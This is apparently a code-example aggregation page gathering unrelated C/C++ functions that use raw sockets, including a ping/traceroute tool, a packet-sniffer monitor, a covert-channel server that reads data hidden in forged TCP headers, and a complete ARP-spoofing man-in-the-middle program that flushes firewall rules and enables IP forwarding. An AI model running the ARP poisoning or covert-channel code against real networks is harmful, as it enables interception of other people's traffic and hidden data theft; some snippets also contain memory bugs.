예제 #1
0
파일: anna.c 프로젝트: Harenome/Anna-Lise
int anna(const char * hostname)
{
    int success;
    struct sockaddr_in address;
    struct timeval wait_time = { 1, 0 };

    succeed_or_die(success, 0, get_ipv4(hostname, IPPROTO_ICMP, &address));

    int sockfd;
    succeed_or_die(success, 0, create_raw_socket(AF_INET, SOCK_RAW, IPPROTO_ICMP, &sockfd));

    set_handler();

    int i;
    for (i = 0; fin_des_temps == 1; i++)
    {
        printf("Discovering new route:\n");
        printf("----------------------\n");
        succeed_or_die(success, 0, traceroute_icmp_v4(hostname, 64, 3, 64, &wait_time));
        printf("\n");
        printf("Pinging:\n");
        printf("--------\n");
        ping_v4(hostname);
        printf("\n");
    }
    printf("traceroute and pinging done %d time(s).\n", i);

    close(sockfd);

    return success;
}
socketpool_t * socketpool_create() {
    socketpool_t * socketpool;
    
    if (!(socketpool = malloc(sizeof(socketpool_t))))             goto ERR_MALLOC;
#ifdef USE_IPV4
    if (!(create_raw_socket(AF_INET,  &socketpool->ipv4_sockfd))) goto ERR_CREATE_RAW_SOCKET_IPV4;
#endif
#ifdef USE_IPV6
    if (!(create_raw_socket(AF_INET6, &socketpool->ipv6_sockfd))) goto ERR_CREATE_RAW_SOCKET_IPV6;
#endif
    return socketpool;

ERR_CREATE_RAW_SOCKET_IPV6:
    close(socketpool->ipv4_sockfd);
ERR_CREATE_RAW_SOCKET_IPV4:
    free(socketpool);
ERR_MALLOC:
    return NULL;
}
예제 #3
0
/*--------------------------------------------------------------------------------------------------------------------
-- FUNCTION: decrypt_packet_server
--
-- DATE: 2014/09/20
--
-- REVISIONS: (Date and Description)
--
-- DESIGNER: Luke Tao
--
-- PROGRAMMER: Luke Tao
--
-- INTERFACE: void decrypt_packet_server()
--
-- RETURNS: void.
--
-- NOTES: This server essentially reads incoming packets, decrypts both the source IP and port for each packet, and then
--	  writes them to a file via server_file_io() function.
----------------------------------------------------------------------------------------------------------------------*/
void decrypt_packet_server()
{
    struct recv_tcp
    {
        struct ip ip;
        struct tcphdr tcp;
        char buffer[TCP_BUFFER];
    } recv_pkt;

    int recv_len;
    char * data;
    char src_port_data[2];

    signal(SIGINT, sig_proc);
    recv_sock = create_raw_socket(RECV_SOCKET);

    while(1)
    {
        if ((recv_len = read(recv_sock, (struct recv_tcp *)&recv_pkt, TCP_BUFFER)) < 0) {
            perror("Cannot read socket. Are you root?\n");
            break;
        }

        /* Check to see if the packet has the SYN/ACK flag set and is the same window size as the client */
        if((recv_pkt.tcp.syn == 1) && (ntohs(recv_pkt.tcp.window) == channel_info.w_size))
        {
            data = convert_ip_to_string(recv_pkt.ip.ip_src);
            printf("Receiving Data from Forged Src IP: %s\n", data);
            printf("Receiving Data from Src Port: %c\n", ntohs(recv_pkt.tcp.source) / 128);

            sprintf(src_port_data, "%c", ntohs(recv_pkt.tcp.source) / 128);

            strcat(data, src_port_data); /* Join src IP string with the src port string */

            if(server_file_io(data) < 0)
            {
                perror("Cannot write to file\n");
                exit(1);
            }
            free(data);
        }
    }
}
예제 #4
0
파일: monitor.cpp 프로젝트: jmikulka/psniff
/*
 * Main program.
 */
int main(int argc, char *argv[])
{
#ifdef __linux__
	// signal handling
	if (init_signal() < 0)
		exit(EXIT_FAILURE);

	// command line options checking
	if (check_args(argc, argv) < 0)
		exit(EXIT_FAILURE);

	// creating listening TCP socket
	listenfd = create_listening_socket();
	if (listenfd < 0)
		exit(EXIT_FAILURE);

	// creating RAW socket
	rawfd = create_raw_socket();
	if (rawfd < 0)
		exit(EXIT_FAILURE);

	// setting fds to select
	fd_set readfds;
	int select_ret;

	// infinite loop where select chooses one of listening or raw socket to serve
	while (keep_going) {
		FD_ZERO(&readfds);
		FD_SET(rawfd, &readfds);
		FD_SET(listenfd, &readfds);

		select_ret = select(MAX(rawfd, listenfd) + 1, &readfds, NULL, NULL, NULL);
		if (select_ret == -1) {
			// just cleaning up and finishing with error
			clean_up();
			exit(EXIT_FAILURE);
		} else {
			// FD was choosen
			if (FD_ISSET(listenfd, &readfds)) {
				// incoming client
				if (add_client() < 0) {
					clean_up();
					exit(EXIT_FAILURE);
				}
			}

			if (FD_ISSET(rawfd, &readfds)) {
				// reading from raw socket
				if (read_raw_socket() < 0) {
					clean_up();
					exit(EXIT_FAILURE);
				}
			}
		}		// if (select_ret > 0)
	}			// while(keep_doing)

	// closing sockets
	if (clean_up() < 0)
		exit(EXIT_FAILURE);
#endif
	exit(EXIT_SUCCESS);
}
예제 #5
0
파일: anna.c 프로젝트: Harenome/Anna-Lise
static inline int ping_v4(const char * hostname)
{
    int sockfd;
    struct sockaddr_in address;
    icmp4_packet packet;

    int success = get_ipv4(hostname, IPPROTO_ICMP, &address);
    printf("ping ");
    print_host_v4(&address);
    printf("\n");
    succeed_or_die(success, 0, create_raw_socket(AF_INET, SOCK_RAW, IPPROTO_ICMP, &sockfd));
    succeed_or_die(success, 0, icmp4_packet_init(&packet, extract_ipv4(&address)));
    succeed_or_die(success, 0, icmp4_packet_set_length(&packet, sizeof packet));

    int sent = 0;
    int i = 0;
    int gotten = 0;
    struct timeval wait_time = { 1, 0 };
    long double min = 0.;
    long double max = 0.;
    long double sum = .0;
    struct timeval ping_start = { 0, 0 };
    struct timeval ping_end = { 0, 0 };
    gettimeofday(&ping_start, NULL);
    while (success == 0 && fin_des_temps == 1)
    {
        struct timeval start = { 0, 0 };
        struct timeval end = { 0, 0 };

        succeed_or_die(success, 0, icmp4_packet_set_echo_seq(&packet, i));
        gettimeofday(&start, NULL);
        if (sendto(sockfd, &packet, sizeof packet, 0, (struct sockaddr *) &address, sizeof address) == sizeof packet)
        {
            sent++;
            icmp4_packet received;
            memset(&received, 0, sizeof received);
            int before = gotten;
            if (receive_icmp_v4(sockfd, &address, &wait_time, &received) == 0)
            {
                if (received.icmp_header.type == ICMP_ECHOREPLY
                    && received.icmp_header.un.echo.sequence == i
                    && received.icmp_header.un.echo.id == packet.icmp_header.un.echo.id
                    )
                {
                    gotten++;
                    gettimeofday(&end, NULL);
                    struct timeval diff = diff_timeval(start, end);
                    long double rtt = extract_time(diff);
                    update_statistics(&min, &max, &sum, rtt, gotten, before);
                    print_received(&received, &address, rtt);

                    if (rtt > sum / gotten * 2 || rtt < sum / gotten / 2)
                        success = -1;
                }
            }
            if ((float) gotten / sent < 0.7)
                success = -1;
        }
        i++;
        sleep(1);
    }
    gettimeofday(&ping_end, NULL);
    struct timeval total = diff_timeval(ping_start, ping_end);
    print_ping_statistics(sent, gotten, min, max, sum, total, &address);

    return success;

}
예제 #6
0
int main(int argc, char **argv) {
    eth_header *ethernet;
    arp_header *arp;
    int arg, c, set_router = 0, set_target = 0;
    int unidir = 0;
    char *interface = NULL;
    char *exitValue;
    FILE *config;
    char *router = NULL, *victim = NULL;

    if (argc < 2) {
        fprintf(stderr, "Too Few Arguments\n");
        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
        fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n-r \"{ROUTER_IP:ROUTER_MAC}\" \n-t \"{VICTIM_IP:VICTIM_MAC}\" \n", argv[0]);
        return 1;
    } else {
        while ((c = getopt(argc, argv, "i:ur:t:")) != -1) {
            switch (c) {
                case 'i':
                    interface = optarg;
                    break;
                case 'u':
                    // flag for uni-directional
                    unidir = 1;
                    break;
                case 'r':
                    // flag for router info
                    router = optarg;
                    set_router = 1;
                    break;
                case 't':
                    // flag for target info
                    victim = optarg;
                    set_target = 1;
                    break;
                case '?':
                    if (optopt == 'i') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n", argv[0]);
                    } else if (optopt == 'r') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -r {router_ip-router_mac} \n", argv[0]);
                    } else if (optopt == 't') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -t {target_ip-target_mac} \n", argv[0]);
                    } else if (isprint(optopt)) {
                        fprintf(stderr, "Unknown option '-%c'.\n", optopt);
                    } else {
                        fprintf(stderr, "Unknown option character '\\x%x'.\n", optopt);
                    }
                    return 1;
            }
        }
    }

    MY_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    MY_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    ROUTER_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    ROUTER_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    VICTIM_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    VICTIM_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    // Create a Raw Socket
    RAW = create_raw_socket(ETH_P_ALL);

    MY_MAC_ADDRS = get_mac_addr(RAW, interface);
    MY_IP_ADDRS = get_ip_addr(RAW, interface);

    submit_log("MY IP ADDR: %s", MY_IP_ADDRS);
    submit_log("MY MAC ADDR: %s", MY_MAC_ADDRS);

    if (set_router == 1) {
        ROUTER_IP_ADDRS = strtok(router, "-");
        ROUTER_MAC_ADDRS = strtok(NULL, "-");

        submit_log("R IP ADDR: %s", ROUTER_IP_ADDRS);
        submit_log("R MAC ADDR: %s", ROUTER_MAC_ADDRS);
    }

    if (set_target == 1) {
        VICTIM_IP_ADDRS = strtok(victim, "-");
        VICTIM_MAC_ADDRS = strtok(NULL, "-");

        submit_log("V IP ADDR: %s", VICTIM_IP_ADDRS);
        submit_log("V MAC ADDR: %s", VICTIM_MAC_ADDRS);
    }



    arg = 1;
    if (setsockopt(RAW, SOL_SOCKET, SO_REUSEADDR, &arg, sizeof (arg)) == -1) {
        submit_log("[%s]\n", "setsockopt(): failed");
        exit(EXIT_FAILURE);
    }
    //BindRawSocketToInterface(argv[1], RAW,ETH_P_ALL); // Bind raw Socket to Interface

    if (unidir != 1) {
        // Enable IP Forwarding to capture 2 way traffic (Victim >> Router && Router >> Victim)
        if ((system("echo 1 > /proc/sys/net/ipv4/ip_forward")) == -1) {
            submit_log("%s", "unable to set ip_forward flag to 1");
            return EXIT_FAILURE;
        }
    } else {
        submit_log("%s", "IP Forwarding set to 0");
        // Allow to capture 1 way traffic (Victim >> Router) and do not pass the request to Router
        if ((system("echo 0 > /proc/sys/net/ipv4/ip_forward")) == -1) {
            submit_log("%s", "unable to set ip_forward flag to 0");
            return EXIT_FAILURE;
        }
    }

    // Clear the Firewall rules for the device
    if ((system("iptables -F")) == -1) {
        submit_log("%s", "Unable to Flush the Firewall rules");
        return EXIT_FAILURE;
    }


    while (TRUE) {
        ethernet = create_eth_header(MY_MAC_ADDRS, VICTIM_MAC_ADDRS, ETHERTYPE_ARP);
        arp = create_arp_header(MY_MAC_ADDRS, ROUTER_IP_ADDRS, VICTIM_MAC_ADDRS, VICTIM_IP_ADDRS, ARP_REPLY);
        send_packet(ethernet, arp, interface);

        ethernet = create_eth_header(MY_MAC_ADDRS, ROUTER_MAC_ADDRS, ETHERTYPE_ARP);
        arp = create_arp_header(MY_MAC_ADDRS, VICTIM_IP_ADDRS, ROUTER_MAC_ADDRS, ROUTER_IP_ADDRS, ARP_REPLY);
        send_packet(ethernet, arp, interface);

        sleep(1);

        config = fopen(CONFIG_FILE_LOC, "r");
        exitValue = malloc(sizeof (char *));
        rewind(config); // Seek to the beginning of the file
        if (fgets(exitValue, 100, config) != NULL) {
            fprintf(stdout, "%c\n", exitValue[0]);
            fflush(stdout);

            if (exitValue[0] == '1') {
                fprintf(stdout, "Exiting.....\n");
                break;
            }
        }

        free(exitValue);
        fclose(config);

    }

    return 0;
}